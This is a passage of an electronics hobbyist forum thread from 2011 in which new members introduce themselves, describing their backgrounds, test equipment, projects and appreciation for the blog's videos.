I'm very excited to get started and learn the basics of how each component works and figure it out as I go.

I'm always up for helping or sharing ideas with anyone.
 8)

-Ray
Title: Re: New Member, Please introduce yourself
Post by: hfleming on January 28, 2011, 08:15:46 pm
Hi, I am Hendrik. I am originally from South Africa, but are now living in Norway. I have designed RF equipment (transceivers and peripherals), industrial electronic equipment (SCADA systems, robots, etc), aviation electronics and did a lot of work on EMI.
Title: Re: New Member, Please introduce yourself
Post by: Spekkio on January 29, 2011, 10:33:48 pm
Hello, My name is Daniel, I study Electronics Engineering in Sweden.
My brother taught me to program in Amiga Basic when I was around 12, and I have been hooked on programming ever since.
After that I am self taught in Turbo Pascal and C. I have always been really fascinated by electronics but it was always like a mystery to me, programming was easier to experiment with. I learned x86 Assembler when I was like 18 I think, and I decided to try and make my own IRC client in Assembler for Windows. It worked but the server and join channel and nickname was hard-coded into the program. And it could only join one channel :)
Anyway, I worked for a while programming my own CMS systems for different small companies, Content Management Systems for their websites.
But I wanted to take on my interests in Electronics and decided to study engineering, and I think it's extremely fun :)
Title: Re: New Member, Please introduce yourself
Post by: Regnirps on January 31, 2011, 01:56:09 pm
Hi all. Charlie Springer. Physicist and CTO of Industrial ARMWorks near Seattle. Inventor of the rotating graviometer, the only instrument that can measure the speed of gravity.
Title: Re: New Member, Please introduce yourself
Post by: radiocrazier on February 01, 2011, 11:50:32 pm
Hi all ,I'v just introduced my self, I'm radiocrazier, I'v forgot my name to tell you,I'm come from china, my english name is James.Thamks! ;D ;D ;D ::)
Title: Re: New Member, Please introduce yourself
Post by: RuddyCrazy on February 03, 2011, 09:06:27 pm
G'day Guys,
                RuddyCrazy is my alter ego with RE but on the net I'm known as Bryan1 (yes the ETO moderator).

Dave your blogs are nothing but bloody fantastic and when I finally get my RE charge controller project finished I should send you one to try  :D. nothing like constructive criticism.......

Anyway I do see that foul mouth pommie on here so whats the bet I get a hammering off that wanker  ::)

Had I known of the forum I would of joined yonks ago.....

Great work Dave  :P

Oneday we'll have to catch up for a beer or 3

Cheers Bryan
Title: Re: New Member, Please introduce yourself
Post by: zenomp5 on February 03, 2011, 11:39:16 pm
Hello everyone!  Sorry I didn't read every post here, but I hope to meet some friends and hopefully help out.  I was introduced through the EEVBlog on youtube and Dave is the man  lol

I am getting into PIC programming with C and it is a hobby when it comes to this.  I work in the steel industry for programming PLCs and HMIs in South East Asia.
Title: Re: New Member, Please introduce yourself
Post by: mhs2xs on February 05, 2011, 03:08:55 am
Greetings,
I'm Mitchell. I've been a drummer/musician for 35 years and I'm starting to get into the modification of microphones and preamps. As well as the general troubleshooting that comes along when you've amassed a large amount of audio/recording equipment over the years. I'm trying to better educate myself in electronics. I'm a mechanical guy and had 1 EE course in college, so I know enough about electricity to be mildly dangerous. I'm normally a quick study so hopefully that will change soon.

Cheers!
Mitchell
Title: Re: New Member, Please introduce yourself
Post by: PStevenson on February 05, 2011, 11:23:19 am

Hi I'm Paul Stevenson (28) from Manchester, UK
all my life I have loved electronics and music so I got started trying to make things I couldn't afford to buy for my music and of course my love for electronics took over and I just got into more and more of it outside of the audio fields mostly these days.
I have found it very difficult to get where I am because I have Dyscalculia which is the same as dyslexia but instead of being words and letters it is maths and numbers I have trouble with.

it's mainly thanks to the video blog of Daves that I have found confidence in actually designing things for myself instead of just copying a schematic and so far it's working out well! albeit more simplistic things than the mastery that is Daves designs.
Title: Re: New Member, Please introduce yourself
Post by: sotos on February 11, 2011, 12:11:34 am
Hello friends.
I am new here, I live in Greece, Athens, and I work about 30 years in electronics-electrics and automation.
Now I repair Pcbs and do some servicing in the field.

My name is Sotiris.
Title: Re: New Member, Please introduce yourself
Post by: ecowarrior on February 13, 2011, 08:17:03 am
Obligatory 'say hello' post!

Evening all (unless it's morning, in which case replace word as appropriate!).  It's ME from the UK, where it's always cold and people moan.

Starting to tinker with electronics again as a hobby, 30 years after I last had a go with the help of my dad, some resistors, an LED or two and a breadboard that was partly broken.

Have just completed my first successful build (chu moy amp) and now wondering what to build next! Anything to make a mess  :D

Gotta love Dave's crazy style - was a bit of a shock at first but he makes me laugh now.  Good stuff Dave, keep it going!
Title: Re: New Member, Please introduce yourself
Post by: IanJ on February 16, 2011, 06:08:28 am
Hi from Scotland!

Got into electronics via the Oil Industry back in 1984. Ended up as Technical Manager in charge of R&D looking after all design electronics myself and the software engineers on projects.
Analogue & digital electronics including Z80, Z280, 8031/51 uP, also Mitsubishi PLC/Scada.
Anyone remember Smartwork & HiWireII........?

Left that side of the industry in 2005 for a desk job, and after about 3 years decided I was missing electronics when I got into RC planes and a couple of home built pcb's (using Eagle Pcb) for fun.
Am currently building my 2nd workshop, and having fun buying a load of equipment for it via Ebay.

Got a lot of projects planned for 2011 & beyond.

Ian.
Title: Re: New Member, Please introduce yourself
Post by: radiocrazier on February 17, 2011, 01:53:51 pm
Hi my buddys, I'm radiocrazer,my name is James ,ya'all can call me james,a mail allways warning me:You must introduce yourself,I'v introduced myself,That's very interesting.so I will say hello to everybody again.I'm a Chinese student but english not very professionely in electronic mayby making so many matters please contain.Thanx
Title: Re: New Member, Please introduce yourself
Post by: vixr on February 18, 2011, 12:38:07 pm
Hello all,
    I'm Rob, senior field service engineer, Thermal Imaging Lab, National Marine Center. Formerly with NASA.
Title: Re: New Member, Please introduce yourself
Post by: mvidal01 on February 22, 2011, 01:00:35 pm
Hello,

Mike name is mike and I'm started to get interested in electronics.  Basic Arduino stuff mostly.
Title: Re: New Member, Please introduce yourself
Post by: neoone on February 25, 2011, 06:25:15 am
Hello!

My name is Filip and I'm from Poland. I have MSc degree in Electronics for 2 years now from Politechnika Wroc?awska (Wroc?aw University of Technology). BTW don't confuse Wroc?aw (which is read a bit like Vroclove but with 'w' instead of 'l' and 'c' as 'c' not 'k') with Warszawa - Warsaw - a capital of Poland  ;) During my studies I was originator and first director of P.I.W.O. Project (Piwo means beer in polish  ;) ) www.projekt-piwo.pl (http://www.projekt-piwo.pl) . Any way, I'm keen on electronics for aboyt 13-14 years now. Currently I run my own small company - we are making electronics project with my friend.  Here's our website www.livelights.pl (http://www.livelights.pl) (more about a hobby project simillar to P.I.W.O. than about our work).
Title: Re: New Member, Please introduce yourself
Post by: zagg on February 27, 2011, 11:07:08 pm
Hello from north of France !

I'm Davy, i'm 34 years old, working on computers networking and security, specialy on Opensource based solutions.
I'm really passionned about electronics since I'm a young guy :-p
I'm a Fan of your great blog David !!! :-) Hope have a labs like yours a day lool

73's  !
F4TQP




Title: Re: New Member, Please introduce yourself
Post by: SoftwareSamurai on March 02, 2011, 01:25:24 am
Oh Hai!

Well, I'm SoftwareSamurai, and I'm a software engineer by trade (over 20 years now). I've got some EE knowledge and experience, some mad reflow soldering skills (yes, I've use my kitchen's toaster oven to reflow solder SMT boards!), and I've just recently purchased a DSO5102B. My first "modern" o-scope, and I'm loving it! Now I'm having fun scoping all sorts of electronics just to see what I've been missing all of these years.

Hello to all!
Cheers!
Title: Re: New Member, Please introduce yourself
Post by: RFman on March 04, 2011, 06:07:10 pm
Hi all,

I'm interested in Amateur Radio and RF. Need a new oscilloscope and and found a lot of information here. I'm slowly working through the messages to see what I can find.
Title: Re: New Member, Please introduce yourself
Post by: Franki on March 05, 2011, 06:14:24 am
Hi everyone

I'm Frank Harwald from Germany and I started doing electronical engineering and design as a hobbyist as a small kid at age of 7 years(you can never start too young  ;D). It started all with NPN transistors, flashing lights and self built AM-radios, but after several years I specialized into audio and digital electronics. I still do audio electronic engineering only as a hobbyist, but I progressed from digital electronics into µC and computer building and from there into software development as my profession is in the computer industry.
Title: Re: New Member, Please introduce yourself
Post by: smackaay on March 06, 2011, 08:41:34 am
Hey Everyone,

I'm Steve from Edmonton, Alberta, Canada and I'm primarily a machinist but I also do electrical engineering and mechanical engineering. I started doing electronics as a kid with those radio shack X in 1 kits and had a long hiatus through my teenage years. While I am a machinist for the most part, I do have an electronics lab at work and love kicking around and making neat things! Oh and my site is at http://smackaay.com/ (http://smackaay.com/)
Title: Re: New Member, Please introduce yourself
Post by: edisonobilly on March 08, 2011, 09:33:42 am
Hi all,

My name is Edison, I am studing Mechatronics engineering at the university of Wolverhampton, UK. I am originally from Nigeria. I have been involved in electronics design for quite some time. I have good practical electronics and mechanical engineering background, I started it as a little kid, since then I have been involved in all sorts of mechanical electronics and computer (microcontrollers too) related projects. I am currently studying mechatronics, which brings these all nicely together and I am really enjoying it.
Title: Re: New Member, Please introduce yourself
Post by: luca.s on March 10, 2011, 12:29:48 am
Hi fellows !

I'm Luca from sunny Italy. I'm an engineer designing serious analog stuff as a job, and I still enjoy experimenting with electronics in my rare spare time.. Found this lovely place while looking for a cheap DSO.. I hope I can give some support if needed..

Ciao,

L.
Title: Re: New Member, Please introduce yourself
Post by: masterburner on March 10, 2011, 06:09:08 am
Oh wow, missed this topic.

Well, here I am. A 19 year old electronics student (no idea what the correct name for my education is, I'm from The Netherlands). For any other Dutch visitors: I'm doing an MBO education and I'm going to do an HBO education after this.

I've been around the EEVblog since EP1, but I decided to register just now (darn "Newbie" title), because I'm already registered on a million other forums, but I figured what the hell... I want to participate. :)

I love hobby electronics. I've been messing around with it since forever. I love designing/creating/building stuff. I'm mostly into digital/microcontroller stuff, because you can do lots of interesting projects around an MCU. I'm not really into analog electronics, but I'm learing as I go. I hope I'll learn some things around here too. :)
Title: Re: New Member, Please introduce yourself
Post by: GrumpyDave on March 10, 2011, 10:11:45 pm
Hi, just stumbled upon this blog and its great! The Amp Hour too!

I'm a medical electronics maint engineer and student from UK that has recently got back into tinkering with electronics at home. I really like the insight into the design world from these blogs and thought I'd stick around on the forum.

Cheers
Dave

Title: Re: New Member, Please introduce yourself
Post by: Ryan@Belfast on March 11, 2011, 08:14:01 am
Im Ryan from Belfast Northern Ireland unemployed student studying at Belfast Metropolitan college doing EE Engineering.

Im really enjoying the embedded stuff, hope to play around with some accelerometres and OLED displays on my next project.

Been watchin EEvblog from day one, best blog ever. Good work Dave.

Title: Re: New Member, Please introduce yourself
Post by: eddy66t6 on March 15, 2011, 12:55:48 am
Hey,
My name is Eoin, a tinkerer, mostly in Audio circuitry, based in Dundalk in Ireland.  :)
Title: Re: New Member, Please introduce yourself
Post by: leia on March 22, 2011, 06:14:30 pm
I am leia from Uk. I had completed my computer engineering.I come across blog and this forum and I think they are great.
Title: Re: New Member, Please introduce yourself
Post by: pmrlondon on March 24, 2011, 09:56:51 pm
Hi, I'm Phil - originally from Yorkshire, and also having lived in Staffordshire, but now in London, UK. I assemble circuits occasionally, do some work on electrical fittings, mostly in folding campers, and build and repair computers, all outside my formal work which does not usually involve directly handling hardware. I am interested in "antique" computers - that is, 8-bit systems from the 1980s and possibly earlier. I found out about EEVblog during my recent search for a new mulitmeter - I have chosen, but have also started to repair my old one. I will be buying the new one in a few weeks.
Title: Re: New Member, Please introduce yourself
Post by: alvarop on March 30, 2011, 01:12:25 pm
Hi, I'm Alvaro. I'm almost done with my BS/MS in Electrical Engineering at the Rochester Institute of Technology in NY.
I'm originally from Mexico, but I've been living in the USA for the past 10 years.

I'm really enjoying the blog and Amp Hour show!

I'm looking to start working on projects more often that I have since I started university.
Title: Re: New Member, Please introduce yourself
Post by: Anks on April 04, 2011, 07:18:33 pm
Hi im Kris from the UK and im into hobby electronics and programing. Ive been watching the blog and only just got round to joining.

Im not big on these introductions really maybe ill come back and edit this when I have more time.
Title: Re: New Member, Please introduce yourself
Post by: Aido4ever on April 05, 2011, 03:22:22 am
hello, I'm Yossi from Israel and electronics is hobby to me for a long time.
Today i'm working on a project which i hope to patent it and maybe do some money of it.

I'm also A Programmer and i'm working on a game but can't find the time of doing both hobbies and being with my son!

Have a good day everyone from Israel.
Title: Re: New Member, Please introduce yourself
Post by: gingy on April 08, 2011, 02:27:21 pm
Hi my name is Regine but you can call me ging :)
Title: Re: New Member, Please introduce yourself
Post by: britlee on April 13, 2011, 02:18:23 pm
Thank you for your suggestion.
Title: Re: New Member, Please introduce yourself
Post by: slimm on April 14, 2011, 12:32:14 pm
Hi I'm Slimm from Northwest Oregon. I'm a Commercial HVAC technician and electronic hobbyist. I'm learning a lot watching Dave on youtube!
Title: Re: New Member, Please introduce yourself
Post by: sacherjj on April 15, 2011, 02:30:26 am
I'm Joe from Indianapolis, IN.  I got a BSEE 11 years ago, but went into software.  Finally have some space and in the process of relicensing for HAM radio, I have gotten back into electronics.  I've never messed with much RF analog, so learning there and falling back to my current knowledge of microcontrollers and software often.  :)
Title: Re: New Member, Please introduce yourself
Post by: Seb37000 on April 16, 2011, 10:26:49 pm
Hi all,

My name is Sébastien. I am 32 years old.  I live in France, so English is not my natural language and I don't speak it very well. (ps : sorry for my poor grammar and my poor vocabulary, I really do my best !) Understanding is ok.

A few more words about me : three years ago, I decided to go to the university. It was quite difficult. I am interested in electronics but unfortunately I am not very good in this field (too many maths for an "old" man), and I dont have yet all the instruments to practice at home.

Of course, I hope to learn more, that's the reason why I'm here. Thank you for your videos, Dave. They are very interesting for someone like me. ;)
 
Regards,
Seb
Title: Re: New Member, Please introduce yourself
Post by: benkiki on April 25, 2011, 04:27:47 am
Hello I'm Marvin from Malaysia. Currently pursuing my Degree in Electronics engineering. Majoring in Communication.

Latest project was building an automatic top loading washing machine by using the old 1979 MC68000 microprocessor. Took me days to figure out the thing. Tried it out using Arduino just for the kick and I got it working in 3 hours. Oh and I taken apart my Laptop AC power adapter just now because it keep overheating and going into thermal shutdown. Possible suspect are bad capacitor.
Title: Re: New Member, Please introduce yourself
Post by: Dani on April 27, 2011, 01:24:59 am
Hi, all

my name is Dani and I'm an engineering student at RMIT (Melbourne Australia) university. and it's electronics and communication engineering, and I'm really passion about it and currently at 3rd year, and I'm looking forward to working on more hobby projects and gain more knowledge and experiences on electronics. by the way thanks for all the helpful videos Dave!   
Title: Re: New Member, Please introduce yourself
Post by: Cj1corbystarlet on April 27, 2011, 01:37:09 am
Hi all,

I'm a Electrician from Perth WA Australia, been a guest lurker for a while, and finally signed up :).

Getting back into Hobby electronics after a Looooooong break, am also having to repair more an more electronics in my day job as the technology advances, less mechanical relays and more PLC's these days.

Ben
Title: Re: New Member, Please introduce yourself
Post by: EEVblog on April 27, 2011, 09:30:59 am
hello, I'm Yossi from Israel and electronics is hobby to me for a long time.
Today i'm working on a project which i hope to patent it and maybe do some money of it.

I hope you consider NOT getting a patent, it will almost certainly be money down the drain.
See:
http://www.eevblog.com/2010/08/22/eevblog-106-top-5-tips-to-bring-your-product-to-market/ (http://www.eevblog.com/2010/08/22/eevblog-106-top-5-tips-to-bring-your-product-to-market/)

Dave.
Title: Re: New Member, Please introduce yourself
Post by: elCap on April 28, 2011, 06:50:54 pm
Hi everyone!
I'm from Sweden, living in Japan. I have been working in the nanotech/microlithography business for seven years as a system engineer.

Previously I was working as a research engineer, doing everything from electronics, mechanics, programming, to laser and optics, and all the boring stuff between.

Recently I decide to pick up on my electronics interest again after basically being idling since I moved to Japan. So I kick-started by investing in some gear (Osc Agilent MSOX2014A, Meter Agilent 1272A and a Sanwa low price meter, Function gen Rigol DG1022, Power Supply GW Instek GPS-4303, LCR B&K 879B, Pickit 2, some tools, cables and connectors)
I have a wide area of interest, but audio, power supply, laser, optics, measurement technics and amplfier are of little more interest.

EEVblog is a great inspiration, very educational and enjoyable!
Title: Re: New Member, Please introduce yourself
Post by: shadowless on April 30, 2011, 09:25:56 am
Hi

I am living in US at the moment.

My hunt for an oscilloscope brought me here. I am a hobbyist with no formal training, just learning as i go along.

Learnt a lot about test equipment and electronics stuff here.  I have learnt to appreciate the better quality equipment since.   

Thanks a lot for the site.
Title: Re: New Member, Please introduce yourself
Post by: jasonh on April 30, 2011, 09:04:53 pm
Hi all, I found the site by seeing Dave on youtube while searching for something.  I clicked on it to see this really animated guy with an aussie accent and ended up watching a fair few videos :)

    I have been a software and systems guy for all of my career but I have always had a lot of interests.  My dad was an electrical engineer before he moved in to software so I grew up with all the smells and equipment which comes with that.   Unfortunately dad moved in to software before I got to the age where I could really start to learn the fundamentals and my interest moved with him to computers.   So while I could always put together kits like the pros I didn't aways understand why they worked.   To a large extent that hasn't changed except I can understand what I am reading these days so the learning curve doest seem so steep.

   About 5 years ago I bout an atmel avr development kit, the stk500.   I was amazed how easy it seemed to do things with i2c busses etc.  For a software engineer it seemed very plug and play and the electronics didn't seem like such a barrier.   Then my boy arrived  and I never did anything with it.

   Then a little while ago I saw the arduino stuff and my interest has perked again but I have some specific projects to do this time around.   I have ideas for telescope drive controllers,   flight simulator panels,  moving platforms for flight simulators.   The arduino stuff seems to have made a lot of this even simpler than last time around.  Probably because of the easy to use libraries for controlling servos/steppers/spi/i2c/ports etc.

    I bought an uno but I plan to mount the chips on to my own pcb's.  The other day I tried miling one on a cnc just to see how it would come out.   Surprisingly well considering the cutter I used was not ideal.

    I also spend a bit of time in the workshop with my metal and woodworking tools.  The last electronics project I did was building some active speakers.   I only had to populate the boards but there were two with lotsa things on them. You can see a pic of one of the boards here,  how cool would it be to have the skills to design it :)

http://www.mydiversions.com/Site/Orion_Speakers.html (http://www.mydiversions.com/Site/Orion_Speakers.html)

   Otherwise, most of my projects using electronics have been relegated to using 3rd party controllers to integrate my diy flightsim controllers.

   I plan to use my workshop to create some nice (hopefully) things with good electronics.   I want to make a simple telescope drive system and build a telescope mount for a small scope.    Right now I have built my main telescope but I had purchased a mount to put it on.  It's here.

http://gallery.me.com/jason.jane#100103/scopedone&bgcolor=black (http://gallery.me.com/jason.jane#100103/scopedone&bgcolor=black)

  My most recently finished project which had a lot of wiring but using purchased electronics was my CNC machine.   It's partly why I have a new interest in the electronics  because it can really help me do the mechanical parts of project a lot more quickly than I could do before as well as make some things possible that were to time consuming in the past - like replica aircraft panels which require lots of electronics, albeit not too difficult.  Here is that one done.

http://gallery.me.com/jason.jane#100055/dirtysmallshop&bgcolor=black (http://gallery.me.com/jason.jane#100055/dirtysmallshop&bgcolor=black)

   My dads old oscilloscope it broken, bah, it was only 40mhz I think and looking around they are a lot cheaper,  not necessarily in New Zealand, but that Rigol Dave is using looks very good,  I must read up to see if the 'upgrade' is still possible on current versions.

    Anyway,  I will browse the forums and will most likely have more questions than answers but in the end I hope I can have a good mating between my software background, my workshop interests and microcontrollers :)

Thanks,
Jason
Title: Re: New Member, Please introduce yourself
Post by: gluttonforpunishment on May 01, 2011, 12:54:08 am
Hi Folks,
 I'm new here, and relatively novice at electronics. I found this forum from watching Dave's EEV vlog on youtube, what a great site/guy!

 Well, you guessed it, judging from my user name, I can be somewhat of a "glutton for punishment", at times. I mean well, but, the curiosity of electronics can get me into trouble. That is why I decided to put on the brakes, and start from the beginning in electronics.

 I'm super glad to be here, and I'm looking forward to learning from you guys/gals.

Best regards,

Joe
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on May 01, 2011, 12:13:03 pm
Yeah,well,I'd better introduce myself.

My name is Bryan,my nickname on this forum is VK6ZGO,which is my Amateur Radio Callsign.

I am a retired Electronics Technician/Technical Officer,& I have been in this type of job for around 40years.

I am new on this forum,but have been posting comments on Dave's blogs for a couple of years.


I have noticed that some of the people on this forum tend to "put the cart before the horse",in that they try to design

difficult circuitry before they have the basic theoretical knowledge to do so.


Now,having upset a few people,I'll sign off :D

VK6ZGO
Title: Re: New Member, Please introduce yourself
Post by: Drirr on May 01, 2011, 08:20:58 pm
Hi,
My name is David and I'm a student from Czech republic. I was born in 1990.
I am interested in measuring technologies and communication.
Title: Re: New Member, Please introduce yourself
Post by: firewalker on May 01, 2011, 10:04:28 pm
Hi,
My name is David and I'm a student from Czech republic. I was born in 1990.
I am interested in measuring technologies and communication.

Welcome Drirr!
Title: Re: New Member, Please introduce yourself
Post by: RCMR on May 02, 2011, 02:22:53 pm
I signed up a while back but thought it time to introduce myself.

I'm an EE from years-back (the mid 1970's was when I got into the game) and although I've switched vocations a few times, they've always been aligned in some way with electronics and I've always been working on some project or another.

These days I'm a publisher and (like Dave) an almost full-time YouTube content creator, running a couple of channels:

RC Model Reviews (http://www.youtube.com/user/RCModelReviews) (website at: RCModelReviews.com (http://www.rcmodelreviews.com)) and XJet (http://www.youtube.com/user/xjet)

At present I'm polishing a couple of electronics projects (prior to publication) I've been working on for RCModelReviews, including a telemetry system for RC planes with speech output, and modding some 900MHz video systems to reduce their spurious outputs and shift them to legal frequencies.

I also design and manufacture some avionics for some small players in the local full-sized aviation industry (helicopters mainly) and do quite a few bespoke systems as/when required.
Title: Re: New Member, Please introduce yourself
Post by: pete101 on May 06, 2011, 05:22:26 pm
Hi I'm Pete.

Electronics is my passion and if you have time visit my site to see cool gadgets that you think fits 'on you.

thanks and have a nice day


electronicspassion.com (http://www.electronicspassion.com/)
Title: Re: New Member, Please introduce yourself
Post by: jasonh on May 06, 2011, 06:11:58 pm
Hi I'm Pete.

Electronics is my passion and if you have time visit my site to see cool gadgets that you think fits 'on you.

thanks and have a nice day


electronicspassion.com (http://www.electronicspassion.com/)


Is that spam?  I go to the site but I dont see any cool ee related projects just an unfinished store for something?

Title: Re: New Member, Please introduce yourself
Post by: CircuitMart on May 06, 2011, 07:00:59 pm
It's internet making us so close to each other!

Great to know you here!

Iris From China, relieved from Driving License this morning!

It is a long March!

I am a PCB maker, do assembly sometimes, I could realize your design into Board with parts...

Interested friends pls visit www.circuit-mart.com (http://www.circuit-mart.com) for more details.

Anyway, it is weekend, I am so happy....


Iris
Title: Re: New Member, Please introduce yourself
Post by: ulix on May 11, 2011, 10:03:20 pm
Hello everybody!

I like David's video blog.
I'm 23 and learing electrician, after that I want to study mechatronics at uni.
To the field of electronics I'm a beginner, build a pulsdetector (not on my own).
I wish that David is including some beginners stuff into his video blog.

cheers
Title: Re: New Member, Please introduce yourself
Post by: adam_lumpkins on May 13, 2011, 08:51:55 am
Hi my name is Adam I am from the U.S. "texas" I have a strong entrest in hobby electronics and hacking.   I am self tault, I have a decent lab with every thing but a scope!!!lol I have to get one!!  not e-nuff money yet.... I dont know why but I have a strong interest in the "Ausi. electronis community"  !!!!!
Title: Re: New Member, Please introduce yourself
Post by: ilikepez on May 15, 2011, 10:05:12 am
My name is Ryan, I've been watching the eevblog for a little under a year and I find it very interesting. I'm in the Electrical program at my local technical college and I am eventually planning to go back to university to do a Power Engineering program or an Electrical Engineering program.

Our electrical program deals with some electronics trains us to do home, commercial,industrial installation and troubleshooting. We also learn plcs, vfds, and a lot of control systems. I'm having lots of fun with it! I've been doing some electronics for years as a hobby but lately my skills have gotten a lot better and my interest has gone way up.

Title: Re: New Member, Please introduce yourself
Post by: stl on May 17, 2011, 07:50:01 pm
Hi,

I've been watching the videos and visiting this forum for some time now, finally took the time to register and start participating.

I'm sure I'll learn things here, hope I can give something back.

Sérgio Luis
Title: Re: New Member, Please introduce yourself
Post by: copiertalk on May 19, 2011, 02:45:25 pm
Hello

I am mike.

I am a learning or in the process of learning. I wouldn't consider my self a hacker or a maker but I like to build things and play around with technology and play with electronics, wood working, plastics, just pretty much anything that catches my ADD at the time.

I am a copier / printer / fax / scanner tech by trade.

( as you can probably tell by the username )
Title: Re: New Member, Please introduce yourself
Post by: bartek on May 21, 2011, 04:13:59 pm
Great blog Dave and great to see an Aussie doing so much for the industry!

My name is Bartek and I'm currently taking a "detour" from my electronic engineering degree and I'm interested in all things Biomedical, microcontroller and audio.

I'm here to soak up as much info and experience as I can!
Title: Re: New Member, Please introduce yourself
Post by: FrankMc on May 22, 2011, 06:50:00 pm
Hi Guys

I,m Frank a sparkie living in Melbourne...Came across Dave,s Blog from a link on a U.S.  sparkie Forum....

 Been doing electronics as a hobby since i was an apprentice ...Dabble with PIC micros, programming in asm a little picbasic pro and lately have used  a program which converts ladder logic to pic code....

Frank
Title: Re: New Member, Please introduce yourself
Post by: N5XL on May 24, 2011, 12:54:37 am
Hello to all from hot and sunny Phoenix, AZ.  Self taught electronics hobbyist and amateur radio operator for 26 years.

73 de N5XL ..

Title: Re: New Member, Please introduce yourself
Post by: WattSekunde on May 24, 2011, 10:23:54 am
Hello around the globe and maybe beyond...  :D

I am an electronic hobbyist since... I was 5 Years old and I disassembled a small 3V electrical motor from a toy and think to myself... "1.5V battery = to slow"... "9V battery = nice fast"... "220V main power plug in the wall = ??? That has to be really fast!" ***booom***  :o - Yes I did it with the cables from the multimeter of my father. Some croco clips on one motor side and the perfect fitting banana clips into the wall.   ::)

Little later I started with a breadboard and some parts from my father in the early 80's. He is an electronic engineer, too. So, as a child I had a great resource of a wide range of sample components. My first contact to logic ICs was CMOS and not TTL like others around me, because my father used only CMOS on his projects. I loved the low power for battery powered projects and the low voltage range and had never ever problems with electro static discharge on my CMOS chips. I dreamed of building my own CPU...

My first computer contact was the Motorola MEK6802D5 evaluation board. With this thing I've learned what a computer really is from ground up. I soldered some circuits with LEDs etc. on it and writing the code direct into it via the HEX keyboard & display. Later I controlled my lego motors with it.
(http://www.kathke.de/Bilder/motorola_MEK6802D5.jpg)

BTW in germany you always have to make some sort of paper if you want to get a chance to work on interesting jobs. So I have studied electronic engineering and computer science and - yes, worked on some interesting things... (680x, 680xx, inmos Transputer, motorola PPC, PIC, ...  ) :D

In my private workshop I use mostly the nice Hameg Analog/Digital 1507-3.

(http://www.kathke.de/Bilder/Hameg1.jpeg) (http://www.kathke.de/Bilder/Hameg2.jpeg)

And an old TES 2360 LCR Multimeter. I saw now on google and can't believe it's under construction until today for around 100$. I don't really know - but mine is more than 10 maybe 15(!) Years old! Unbelievable. Sometimes I have to by a Gossen-Metrawatt to check if it needs a calibration ;).

@Dave. I'd love to see a tear down of the TES 2360 because it's full of old PCBs, DILs, etc.   ;D


In my very little free time I love to hack things HW/SW and build, rebuild, restore, and play synthesizer. (www.ambientcircle.de (http://www.ambientcircle.de))
(http://www.kathke.de/Bilder/Shruthi-1/myShruthi-1_4s.jpg) (http://www.kathke.de/Bilder/Shruthi-1/myShruthi-1_6s.jpg)



Thank you Dave for your always inspiring EEVblog!

Michael (WattSekunde)
Title: Re: New Member, Please introduce yourself
Post by: pablo on May 25, 2011, 09:40:47 am
Hello my name is Pablo. I'm an electronics technician but i also have a degree in Electronics Engineering.
Im planning to get a decent lab with pretty every conceivable test gear a technician/engineer could have.

Title: Re: New Member, Please introduce yourself
Post by: joey80 on May 29, 2011, 05:08:53 pm
The web site is quite great, keep writing good information.
Title: Re: New Member, Please introduce yourself
Post by: Ged on June 01, 2011, 05:21:32 am
I'm not new to electronics, but haven't really had anything to do with the field in just over 20 years (US Navy).  I have wanted to get back into electronics as a hobbyist for a long time and have recently begun to stick my toes back into the water (so to speak).  I have started to self-study with the NEETS modules.  For those familiar with it, yes, I know the material is long and dry, but it does seem to be indepth (even more than I remember) as well as free.

As for my involvement here on the forum, I will mostly be needing the help of the members, but I will also contribute where I can.

Dave, I love your blog.  It has been so helpful.  Thank you!  My 5 yr old daughter has watched some of the video blogs with me.  She likes you and loves to say "Don't turn it on, TAKE IT APART!!!"  She makes me laugh every time! ;D
Title: Re: New Member, Please introduce yourself
Post by: cursohistoria2011 on June 01, 2011, 10:06:02 am
Hello everyone I am from Mexico city and I am new to the forum I have no experience in electronic parts but I want to learn
Title: Re: New Member, Please introduce yourself
Post by: zetan on June 05, 2011, 06:12:20 am
Hi,

My name is Olivier and I am an electrical engineering student at École Polytechnique de Montréal in Québec, Canada. I'm almost over with my bachelor degree and I presently work as a programmer at Ubisoft Montréal.

I recently finished to setup a basic electronic lab in my apartment. The main tools are a Metcal Sp200 soldering station, a homemade power supply (-5V,5V,3.3V,-12V,12V) built from an ATX supply, a homemade double side UV lightbox, a BK Precision 3010 function generator and a brand new Atten 100MHz ADS1102CML (7 inch display, 1 Gsa/s, 2 Msa per channel: a real beauty). I am now waiting for the delivery of my new SMD hot air rework station.

I am mostly interested in robotic electronics. Power stages and control circuitry.

See you,

Olivier
Title: Re: New Member, Please introduce yourself
Post by: WanaGo on June 08, 2011, 06:48:36 pm
Hello

My name is James, I am located in New Zealand, and I am an Industrial Automation Engineer. I deal with PLC/SCADA/HMI at work, however did a Mechatronics Engineering Degree 6 years ago and have been dabbling with Electronics since I was a lad. I am only just getting to the stage now of being able to afford some decent equipment, so am currently on the hunt for a Oscilloscope.
I dabble a bit with Arduino's also, however have used AVR's for a while before I came across the Arduino platform. This is a current project of mine if anyone is interested - http://arduino.cc/forum/index.php/topic,61643.0.html (http://arduino.cc/forum/index.php/topic,61643.0.html)
Always happy to be corrected so I can learn, and have some serious reading to do on the Oscilloscope front too.

Cheers
James
Title: Re: New Member, Please introduce yourself
Post by: hannobisschoff on June 09, 2011, 05:39:48 pm
Hi everyone, my name is Hanno and I'm from South Africa. I feel very bad saying I'm still just in high school, since this blog seems like a place where the pro's hang out. But this is one of the best ways I learn. I don't want to offend anyone, so I will just keep to myself and occasionally ask a stupid newbie question, and give my humble opinion. I look forward to learning a lot with the members of this blog.
Title: Re: New Member, Please introduce yourself
Post by: pklawit on June 10, 2011, 09:49:40 pm
Hello,

My name is Piotr.
I'm from Poland. I'm working for one of the biggest telco companies for 15 years now.
At job I'm a technical support engineer, helping our customers to manage their POTS, VoIP and IP
equipment.
But what really turns me on is my hobby - microcontrollers.
I have started with Z80 years ago and via all Atmel chips (yes, I love Atmel chips, not the PICs ;-)
I came finally to the ARM core based micros.

When I was working with all the "small bugs", I always wanted to have some kind of remote access,
some operating system on it etc.
Now, with the Linux on ARM boards I have all of this, but how do you manage the I/O lines?
This is really re-inventing wheel - let this be a warning for others guys dreaming about embedded linux.

I do not have a brilliant/featured lab, like Dave has, but this is my plan for retirement :-)
For now one simple bench power supply, simple DMM and Rigol DS1052 is enough for me.

Greetings,
Piotr

Title: Re: New Member, Please introduce yourself
Post by: lameiro on June 10, 2011, 09:57:25 pm
Hi,

My name is Ricardo, I am from Portugal and I am a Musician. I studied before college electronics, but now it is kind of my hobby.
